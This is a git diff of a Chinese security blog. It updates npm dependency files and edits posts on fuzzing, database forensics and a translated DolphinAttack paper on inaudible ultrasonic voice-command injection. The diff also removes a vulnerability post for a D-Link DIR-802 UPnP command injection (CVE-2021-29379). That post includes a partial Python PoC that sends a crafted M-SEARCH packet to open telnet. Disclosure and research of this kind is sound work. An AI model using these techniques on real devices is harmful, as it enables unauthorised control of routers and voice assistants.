}
@ -3345,12 +2892,14 @@
"array-unique": {
"version": "0.3.2",
"resolved": "http://registry.npm.taobao.org/array-unique/download/array-unique-0.3.2.tgz",
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg="
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
"optional": true
},
"braces": {
"version": "2.3.2",
"resolved": "http://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
"integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
"optional": true,
"requires": {
"arr-flatten": "^1.1.0",
"array-unique": "^0.3.2",
@ -3368,6 +2917,7 @@
"version": "2.0.1",
"resolved": "http://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"optional": true,
"requires": {
"is-extendable": "^0.1.0"
}
@ -3526,6 +3076,7 @@
"version": "4.0.0",
"resolved": "http://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"optional": true,
"requires": {
"extend-shallow": "^2.0.1",
"is-number": "^3.0.0",
@ -3537,6 +3088,7 @@
"version": "2.0.1",
"resolved": "http://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"optional": true,
"requires": {
"is-extendable": "^0.1.0"
}
@ -3596,7 +3148,8 @@
"is-extglob": {
"version": "2.1.1",
"resolved": "http://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz",
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
"optional": true
},
"is-glob": {
"version": "4.0.0",
@ -3611,6 +3164,7 @@
"version": "3.0.0",
"resolved": "http://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"optional": true,
"requires": {
"kind-of": "^3.0.2"
},
@ -3619,6 +3173,7 @@
"version": "3.2.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"optional": true,
"requires": {
"is-buffer": "^1.1.5"
}
@ -3628,12 +3183,14 @@
"isobject": {
"version": "3.0.1",
"resolved": "http://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz",
"integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
"integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
"optional": true
},
"kind-of": {
"version": "6.0.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-6.0.2.tgz",
"integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE="
"integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE=",
"optional": true
},
"micromatch": {
"version": "3.1.10",
@ -3802,34 +3359,6 @@
"resolved": "http://registry.npm.taobao.org/parseurl/download/parseurl-1.3.2.tgz",
"integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M="
},
"pascal-case": {
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
"integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
"requires": {
"no-case": "^3.0.4",
"tslib": "^2.0.3"
},
"dependencies": {
"lower-case": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
"integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
"requires": {
"tslib": "^2.0.3"
}
},
"no-case": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
"integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
"requires": {
"lower-case": "^2.0.2",
"tslib": "^2.0.3"
}
}
}
},
"pascalcase": {
"version": "0.1.1",
"resolved": "http://registry.npm.taobao.org/pascalcase/download/pascalcase-0.1.1.tgz",
@ -3845,21 +3374,11 @@
"resolved": "http://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz",
"integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
},
"path-key": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
},
"path-parse": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
"integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
},
"picomatch": {
"version": "2.2.2",
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
"integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg=="
},
"posix-character-classes": {
"version": "0.1.1",
"resolved": "http://registry.npm.taobao.org/posix-character-classes/download/posix-character-classes-0.1.1.tgz",
@ -3875,14 +3394,6 @@
"resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
"integrity": "sha1-t+PqQkNaTJsnWdmeDyAesZWALuE="
},
"prismjs": {
"version": "1.23.0",
"resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.23.0.tgz",
"integrity": "sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA==",
"requires": {
"clipboard": "^2.0.0"
}
},
"process-nextick-args": {
"version": "2.0.0",
"resolved": "http://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.0.tgz",
@ -4303,12 +3814,6 @@
"resolved": "http://registry.npm.taobao.org/sax/download/sax-0.5.8.tgz",
"integrity": "sha1-1HLbIo6zMcJQaw6MFVJK25OdEsE="
},
"select": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/select/-/select-1.1.2.tgz",
"integrity": "sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=",
"optional": true
},
"send": {
"version": "0.16.2",
"resolved": "http://registry.npm.taobao.org/send/download/send-0.16.2.tgz",
@ -4378,19 +3883,6 @@
"resolved": "http://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz",
"integrity": "sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY="
},
"shebang-command": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
"requires": {
"shebang-regex": "^3.0.0"
}
},
"shebang-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
},
"snapdragon": {
"version": "0.8.2",
"resolved": "http://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz",
@ -4679,12 +4171,6 @@
"os-homedir": "^1.0.0"
}
},
"tiny-emitter": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz",
"integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==",
"optional": true
},
"titlecase": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/titlecase/-/titlecase-1.1.3.tgz",
@ -4738,11 +4224,6 @@
"resolved": "http://registry.npm.taobao.org/trim-right/download/trim-right-1.0.1.tgz",
"integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM="
},
"tslib": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.1.0.tgz",
"integrity": "sha512-hcVC3wYEziELGGmEEXue7D75zbwIIVUMWAVbHItGPx0ziyXxrOMQx4rQEVEV45Ut/1IotuEvwqPopzIOkDMf0A=="
},
"uglify-js": {
"version": "2.6.0",
"resolved": "http://registry.npm.taobao.org/uglify-js/download/uglify-js-2.6.0.tgz",
@ -4797,20 +4278,6 @@
"resolved": "http://registry.npm.taobao.org/uglify-to-browserify/download/uglify-to-browserify-1.0.2.tgz",
"integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc="
},
"underscore": {
"version": "1.10.2",
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
"integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
},
"underscore.string": {
"version": "3.3.5",
"resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.5.tgz",
"integrity": "sha512-g+dpmgn+XBneLmXXo+sGlW5xQEt4ErkS3mgeN2GFbremYeMBSJKr9Wf2KJplQVaiPY/f7FN6atosWYNm9ovrYg==",
"requires": {
"sprintf-js": "^1.0.3",
"util-deprecate": "^1.0.2"
}
},
"union-value": {
"version": "1.0.0",
"resolved": "http://registry.npm.taobao.org/union-value/download/union-value-1.0.0.tgz",

View File

@ -12,11 +12,9 @@
"hexo-generator-archive": "^0.1.5",
"hexo-generator-baidu-sitemap": "^0.1.6",
"hexo-generator-category": "^0.1.3",
"hexo-generator-feed": "^3.0.0",
"hexo-generator-index": "^0.2.1",
"hexo-generator-json-content": "^4.2.3",
"hexo-generator-search": "^2.4.0",
"hexo-generator-searchdb": "^1.3.3",
"hexo-generator-searchdb": "^1.0.8",
"hexo-generator-sitemap": "^1.2.0",
"hexo-generator-tag": "^0.2.0",
"hexo-renderer-ejs": "^0.3.1",

View File

@ -5,9 +5,11 @@ tags:
- AFL
- 模糊测试
categories: 二进制
description: 接触这个词语已经有一年了但还没有学习过更没有上手实践过正好趁这个机会好好弄弄AFL。提起模糊测试我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等你可能和我一样一头雾水这次我们就来看个明白
---
接触这个词语已经有一年了但还没有学习过更没有上手实践过正好趁这个机会好好弄弄AFL。提起模糊测试我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等你可能和我一样一头雾水这次我们就来看个明白
------------------------------------------
# 0x01 模糊测试

View File

@ -6,7 +6,6 @@ tags:
- 复原文件
- 取证
categories: "顶会论文"
description: 再也不敢删库跑路了!
---
# Carving Database Storage to Detect and Trace Security Breaches

View File

@ -1,47 +0,0 @@
---
title: DIR-802 OS Command Injection
date: 2021-03-02 13:36:32
tags:
- D-LINK
- UPnP
- 固件模拟
categories:
- IOT
description: 提交个漏洞
---
### D-LINK DIR-802 命令注入漏洞
> by Cool
#### 漏洞已提交厂商
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379
#### 漏洞类型
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
#### 受影响设备及软件版本
DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
#### 漏洞概要
DIR-802中存在一个命令注入漏洞攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
#### 漏洞详情
与CVE-2020-15893相似在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下端口1900上启用了通用即插即用UPnP。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”ST字段来执行命令注入。
#### POC
```python
# coding: utf-8
import socket
import struct
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.0.1", 1900))
s.send(buf)
s.close()
```
#### 漏洞复现
使用firmadyne进行固件模拟运行UPnP服务
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png">
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png">

View File

@ -7,7 +7,6 @@ tags:
- 调试
categories:
- IOT
description: 如果能够调试一个IoT设备那挖漏洞将会简单很多
---
# 0x00 背景与简介

View File

@ -5,9 +5,6 @@ tags:
- 硬件攻击
- 传感器
- 语音助手
categories:
- 顶会论文
description: 算是进入安全领域以来第一篇看懂的论文QAQ
---
# 海豚音攻击
@ -23,7 +20,7 @@ https://zhuanlan.zhihu.com/p/29306026
关键字语音可控系统语音识别MEMS麦克风安全分析防御
## 1 Introduction
## 0x01 Introduction
语音识别SR技术允许机器或程序识别口语单词并将其转换为机器可读格式。 由于它的可访问性,效率以及最近在识别精度方面的进步,它已成为越来越流行的人机交互机制。 结果语音识别系统已将各种各样的系统变成语音可控系统VCSApple Siri [5]和Google Now [21]允许用户通过语音发起电话呼叫; Alexa [4]已使用户能够指示Amazon Echo订购外卖安排Uber骑行等。随着研究人员将大量精力投入到改善SR系统的性能上人们对语音识别和语音的了解程度却鲜为人知。 可控系统在故意和偷偷摸摸的攻击下表现良好。
先前的工作[10、61]已经表明SR系统可以理解人类难以理解的混淆语音命令因此可以控制系统而不会被检测到。 这些语音命令虽然是“隐藏的”,但仍然可以听见并且仍然很明显。 本文旨在研究难以检测到的攻击的可行性,并且本文受到以下关键问题的驱动:语音命令是否可以被人听不见,而仍然可以被设备听见,并且可以被语音识别系统理解? 注入一系列听不见的语音命令是否会导致语音可控系统出现未注意到的安全漏洞? 为了回答这些问题我们设计了DolphinAttack这是一种通过利用超声通道即f> 20 kHz和基础音频硬件的漏洞在VCS处注入听不见的语音命令的方法。
@ -44,7 +41,7 @@ https://zhuanlan.zhihu.com/p/29306026
•我们证明了对手可以注入一系列听不见的语音命令来激活始终在线的系统并实现各种恶意攻击。 经过测试的攻击包括在iPhone上启动Facetime在Amazon Echo上播放音乐以及操纵奥迪汽车中的导航系统。
•我们建议同时使用基于硬件和基于软件的防御策略来减轻攻击,并提供增强语音可控系统安全性的建议。
## 2 背景和威胁模型
## 0x02 背景和威胁模型
在本节中我们介绍流行的语音可控系统并以MEMS麦克风为重点讨论它们的体系结构。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_23.png)
@ -71,7 +68,7 @@ https://zhuanlan.zhihu.com/p/29306026
* 听不见。由于对手的目标是在不被检测到的情况下注入语音命令因此她将使用人类听不到的声音即超声波f> 20 kHz。请注意我们没有使用高频声音18 kHz <f <20 kHz因为它们仍然可以被孩子听到
* 攻击装备。我们假设对手既可以获取用于发射超声波的扬声器,也可以获取用于播放声音的商品设备。攻击者在目标设备附近。例如,她可能会在受害人的桌子或家附近秘密地留下一个可远程控制的扬声器。或者,她可能在受害者走动时携带便携式扬声器。
## 3 可行性分析
## 0x03 可行性分析
DolphinAttack的基本思想是a在空中传输之前在超声载波上调制低频语音信号即基带以及b在接收器处用语音捕获硬件对调制后的语音信号进行解调。由于我们无法控制语音捕获硬件因此我们必须以一种可以使用语音捕获硬件将其解调为基带信号的方式来调制信号。假设麦克风模块始终利用LPF抑制不想要的高频信号则解调应在LPF之前完成。
由于语音捕获硬件的信号路径从麦克风一个或多个放大器LPF到ADC开始因此解调的潜在组件是麦克风和放大器。我们研究了完成DolphinAttack的原理。尽管诸如放大器之类的电子组件被设计为线性的但实际上它们表现出非线性。利用这种非线性特性电子元件能够创建新的频率[25]。尽管已经报道并利用了放大器模块的非线性但包括ECM麦克风和MEMS麦克风在内的麦克风是否具有这种特性仍是未知的。
@ -81,24 +78,24 @@ DolphinAttack的基本思想是a在空中传输之前在超声载波上调
麦克风将机械声波转换为电信号。 从本质上讲,麦克风可以粗略地视为在输入/输出信号传输特性中具有平方律非线性的组件[1、13]。 众所周知,放大器具有非线性特性,可以产生低频范围内的解调信号[20]。 在本文中,我们研究了麦克风的非线性,可以将其建模如下。 假设输入信号为sint输出信号soutt
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_25.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_25.png)
其中A是输入信号的增益B是二次项s2 in的增益。线性分量采用频率为f的正弦输入信号并输出具有相同频率f的正弦信号。 相比之下电气设备的非线性会产生谐波和叉积2。尽管通常将它们视为不希望的失真[31],但具有非线性的设备能够生成新的频率,并且通过精心设计的输入信号,它们可以将信号下变频为 以及恢复基带信号。
假设所需的语音控制信号为mt我们选择中心频率为fc的载波上的调制信号为
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_26.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_26.png)
即,使用幅度调制。 不失一般性设mt为简单基调即mt= cos2πfmt。 应用等式后。 21并进行傅立叶变换我们可以确认输出信号包含预期的频率分量fm以及sin的基本频率分量即fc-fmfc + fm和fc谐波和其他交叉 乘积即fm2fc-fm2fc + fm2fc2fc + fm和2fc-fm。 经过LPF后所有高频成分将被删除而fm频率成分将保留下来从而完成了下变频如图3所示。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_271.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_25.png)
### 3.2 非线性效应评估
考虑到麦克风模块非线性效应的理论计算及其对调制后输入信号的影响在本节中我们将验证对真实麦克风的非线性效应。我们测试两种类型的麦克风ECM和MEMS麦克风。
#### 3.2.1 实验设置
3.2.1 实验设置
实验设置如图5所示。我们使用iPhone SE智能手机生成2 kHz语音控制信号即基带信号。然后将基带信号输入到矢量信号发生器[57]该信号发生器将基带信号调制到载波上。经功率放大器放大后调制信号由高质量的全频带超声扬声器Vifa传输[9]。请注意我们选择的载波范围为9 kHz至20 kHz因为信号发生器无法生成低于9 kHz频率的信号。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_281.png)在接收器端我们测试了从耳机中提取的ECM麦克风和ADMP401 MEMS麦克风[16]。如图5所示ADMP401麦克风模块包含一个前置放大器。为了了解麦克风的特性我们测量了麦克风而不是前置放大器输出的信号。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_26.png)在接收器端我们测试了从耳机中提取的ECM麦克风和ADMP401 MEMS麦克风[16]。如图5所示ADMP401麦克风模块包含一个前置放大器。为了了解麦克风的特性我们测量了麦克风而不是前置放大器输出的信号。
#### 3.2.2 结果
3.2.2 结果
我们使用两种信号来研究非线性:单音和多音语音。
单音: 图4显示了当我们使用20 kHz载波时的结果这证实了麦克风的非线性有助于解调基带信号。前两个图显示了来自扬声器的原始信号的时域和频域从而很好地显示了载波频率20 kHz和上边带以及下边带20±2 kHz。第二行中的两个图显示了来自MEMS麦克风的输出信号下面两个图显示了来自ECM麦克风的输出信号。即使信号被衰减尤其是对于ECM麦克风两个麦克风在频域中的基带2 kHz仍能证实解调成功。请注意频域图包含多个高频谐波这些谐波将被LPF过滤并且不会影响语音识别。
@ -115,7 +112,7 @@ DolphinAttack利用听不见的语音注入来静默控制VCS。由于攻击者
Siri的工作分为两个阶段激活和识别。它在接受语音命令之前需要激活因此我们生成两种类型的语音命令激活命令和常规控制命令。为了控制VCSDolphinAttack必须在注入常规控制命令之前生成激活命令。
#### 4.1.1 激活命令生成
4.1.1 激活命令生成
成功的激活命令必须满足两个要求a包含唤醒词“ Hey Siri”以及b调成接受Siri训练的用户的特定语音。创建具有这两个要求的激活命令具有挑战性除非攻击者在附近并设法创建清晰的记录时用户碰巧说“ Hey Siri”。实际上攻击者最多可以偶然记录任意单词。如果可能的话使用现有的语音合成技术[38]和从录音中提取的特征来生成特定语音的“嘿Siri”是极其不同的因为目前尚不清楚Siri使用哪些特征集进行语音识别。因此我们设计了两种方法来分别针对两种情况生成激活命令a攻击者找不到Siri的所有者例如攻击者获得了被盗的智能手机以及b攻击者可以获得一些录音主人的声音。
1基于TTS的蛮力。 TTS技术的最新进展使将文本转换为语音变得容易。 因此即使攻击者没有机会从用户那里获得任何语音记录攻击者也可以通过TTS文本到语音系统生成一组包含唤醒词的激活命令。 观察到的启发是具有相似声调的两个用户可以激活另一个人的Siri。 因此只要集合中的激活命令之一具有与所有者足够接近的声音就足以激活Siri。 在DolphinAttack中我们借助现有的TTS系统如表1所示准备了一组具有各种音调和音色的激活命令其中包括Selvy SpeechBaiduGoogle等。总共我们获得了90种类型的TTS 声音。 我们选择Google TTS语音来训练Siri其余的用于攻击
@ -124,10 +121,10 @@ Siri的工作分为两个阶段激活和识别。它在接受语音命令之
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_30.png)
#### 4.1.2 通用控制命令生成
4.1.2 通用控制命令生成
常规控制命令可以是启动应用程序例如“拨打911”“打开www.google.com”或配置设备例如“开启飞行模式”的任何命令。与激活命令不同SR系统不会验证控制命令的身份。因此攻击者可以选择任何控制命令的文本并利用TTS系统生成命令。
#### 4.1.3 评估
4.1.3 评估
我们测试激活和控制命令。在不失一般性的前提下我们通过利用Tab中总结的TTS系统生成激活和控制命令。 1.特别是我们从这些TTS系统的网站上下载了两个语音命令“ Hey Siri”和“ call 1234567890”。对于激活我们使用Google TTS系统中的“ Hey Siri”来训练Siri其余的用于测试。我们通过iPhone 6 Plus和台式设备播放语音命令如图5所示并在iPhone 4S上进行测试。选项卡中汇总了这两个命令的激活和识别结果。结果表明SR系统可以识别来自任何TTS系统的控制命令。在89种类型的激活命令中有35种可以激活Siri成功率为39
@ -135,7 +132,7 @@ Siri的工作分为两个阶段激活和识别。它在接受语音命令之
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性DolphinAttack必须利用幅度调制AM
#### 4.2.1 AM调制参数
4.2.1 AM调制参数
在AM中载波的幅度与基带信号成比例地变化并且幅度调制产生一个信号其功率集中在载波频率和两个相邻的边带上如图9所示。 描述如何在DolphinAttack中选择AM参数。
1深度调制深度m定义为m M / A其中A是载波幅度M是调制幅度M是幅度从其未调制值起的峰值变化。 例如如果m = 0.5则载波幅度在其未调制电平之上或之下变化50。 调制深度与麦克风非线性效应的利用直接相关我们的实验表明调制深度与硬件有关在第5节中有详细介绍
2载波频率。载波频率的选择取决于几个因素超声波的频率范围基带信号的带宽低通滤波器的截止频率以及VCS上麦克风的频率响应以及频率攻击者的回应。调制信号的最低频率应大于20 kHz以确保听不见。假设语音命令的频率范围为w则载波频率fc必须满足fc-w> 20 kHz的条件。例如假设基带的带宽为6 kHz则载波频率必须大于26 kHz以确保最低频率大于20 kHz。人们可能会考虑使用20 kHz以下的载波因为这些频率对于大多数人来说是听不到的除了小孩。但是这样的载波例如20kHz将无效。这是因为当载波频率和下边带低于低通滤波器的截止频率时它们将不会被滤波。因此恢复的语音不同于原始信号并且语音识别系统将无法识别命令。 类似于许多电子设备麦克风是频率选择性的例如各种频率下的增益会变化。为了提高效率载波频率应是扬声器和VCS麦克风上增益最高的乘积。为了发现最佳载波频率我们测量扬声器和麦克风的频率响应在相同的激励下我们测量各种频率下的输出幅度。图10显示了Samsung Galaxy S6 Edge 3上的ADMP 401 MEMS麦克风和扬声器的频率响应。麦克风和扬声器的增益不一定随频率的增加而降低因此有效载波频率可能不会单调。
@ -149,10 +146,10 @@ Siri的工作分为两个阶段激活和识别。它在接受语音命令之
我们设计了两个发射器a由专用信号发生器驱动的强大发射器如图5所示以及b由智能手机驱动的便携式发射器如图11所示。 我们利用第一个来验证和量化DolphinAttack可以完成各种听不见的语音命令的程度而我们使用第二个来验证步行攻击的可行性。 这两个发射机均由三个组件组成:信号源,调制器和扬声器。 信号源产生原始语音命令的基带信号并输出到调制器该调制器以幅度调制AM的形式将语音信号调制到频率为fc的载波上。 最后扬声器将调制后的信号转换成声波并请注意扬声器的采样率必须大于2fc + w以避免信号混叠。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_33.png)
#### 4.3.1 具有信号发生器的强大变送器
4.3.1 具有信号发生器的强大变送器
我们将智能手机用作信号源并将图5中描述的矢量信号发生器用作调制器。请注意信号发生器的采样范围为300 MHz远大于超声频率并且可以使用预定义的参数调制信号。功能强大的发射器的扬声器是名为Vifa [9]的宽带动态超声扬声器。
#### 4.3.2 带有智能手机的便携式变送器
4.3.2 带有智能手机的便携式变送器
便携式发射器利用智能手机来发射调制信号。因为我们发现许多设备的最佳载波频率都大于24 kHz如表3所示。 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率并且只能发送载波频率最高为24 kHz的调制窄带信号。为了构建适用于各种VCS的便携式发射器我们购买了三星Galaxy S6 Edge它支持高达192 kHz的采样率。不幸的是三星Galaxy S6的车载扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题我们使用窄带超声换能器[56]作为扬声器并在超声换能器之前添加了一个放大器如图11所示。这样有效的攻击范围得以扩展。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_34.png)
@ -197,8 +194,7 @@ Tab. 3总结实验结果。 从Tab. 3所示我们可以得出结论Dolphin
**命令很重要:** 语音命令的长度和内容会影响成功率和最大攻击距离。 在实验中,我们严格要求要求正确识别命令中的每个单词,尽管某些命令可能不需要这样做。 例如,“呼叫/ FaceTime 1234567890”和“打开dolphinattack.com”比“打开飞机模式”或“今天的天气如何”更难被识别。 在前一种情况下,必须正确识别执行字“ call”“ open”和内容数字url。 但是,对于后一种情况,仅识别诸如“飞机”和“天气”之类的关键字就足以执行原始命令。 如果攻击命令简短且对于SR系统通用则可以提高攻击性能。
**载波频率:** fc是影响攻击成功率的主要因素并且在各个设备之间也显示出很大的差异。对于某些设备成功进行识别攻击的fc范围可以宽至20-42 kHz例如iPhone 4s也可以窄至几个单个频率点例如iPhone 5s。我们将这种多样性归因于这些麦克风的频率响应和频率选择性的差异以及音频处理电路的非线性。例如Nexus 7的fc范围是从24到39 kHz这可以从两个方面进行解释。 fc不高于39 kHz因为Vifa扬声器在39 kHz以上的频率响应较低而Nexus 7麦克风之一也较低。因此结合起来高于39 kHz的载波不再足够有效以注入听不见的语音命令。由于麦克风频率响应的非线性fc不能小于24 kHz。我们观察到当基带谐波的幅度大于基带之一时无法听到的语音命令对于SR系统变得不可接受。例如在给定400 Hz音调的基带的情况下我们测量Nexus 7上的解调信号即400 Hz基带并观察800 Hz2次谐波1200 Hz3次谐波甚至更高的谐波这可能是由于音频处理电路的非线性所致。如图12所示当fc小于23 kHz时第二和第三谐波要强于第一谐波这会使基带信号失真并使SR系统难以识别。导致最佳攻击性能的Prime fc是既显示高基带信号又显示低谐波的频率。在Nexus 7上Prime fc为24.1 kHz
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_36.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_37.png)
**调制深度:** 调制深度会影响解调后的基带信号的幅度及其谐波如图13所示。随着调制深度从0逐渐增加到100解调后的信号会变得更强进而提高SNR和攻击成功率 除少数例外例如当谐波使基带信号失真的程度大于AM深度较低的情况时。 我们在Tab 3 中报告了对每台设备成功进行识别攻击的最小深度。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_37.png)**调制深度:** 调制深度会影响解调后的基带信号的幅度及其谐波如图13所示。随着调制深度从0逐渐增加到100解调后的信号会变得更强进而提高SNR和攻击成功率 除少数例外例如当谐波使基带信号失真的程度大于AM深度较低的情况时。 我们在Tab 3 中报告了对每台设备成功进行识别攻击的最小深度。
攻击距离: 攻击距离从2厘米到最大175厘米不等并且跨设备差异很大。 值得注意的是我们在Amazon Echo上两次攻击都可以达到的最大距离为165厘米。 我们认为,可以使用可以产生更高压力水平的声音并表现出更好的声音指向性的设备来增加距离,或者使用更短和更易于识别的命令来增加距离。
**努力与挑战:**在进行上述实验时,我们面临挑战。 除了获取设备以外,由于缺少音频测量反馈界面,因此测量每个参数非常耗时且费力。 例如为测量Prime fc我们使用不同平台上的音频频谱分析软件在各种设备上分析解调结果iOS [30]macOS [34]Android [41]和Windows [35]。 对于不支持安装频谱软件的设备例如Apple Watch和Amazon Echo我们利用呼叫和命令日志回放功能并在另一台中继设备上测量音频。
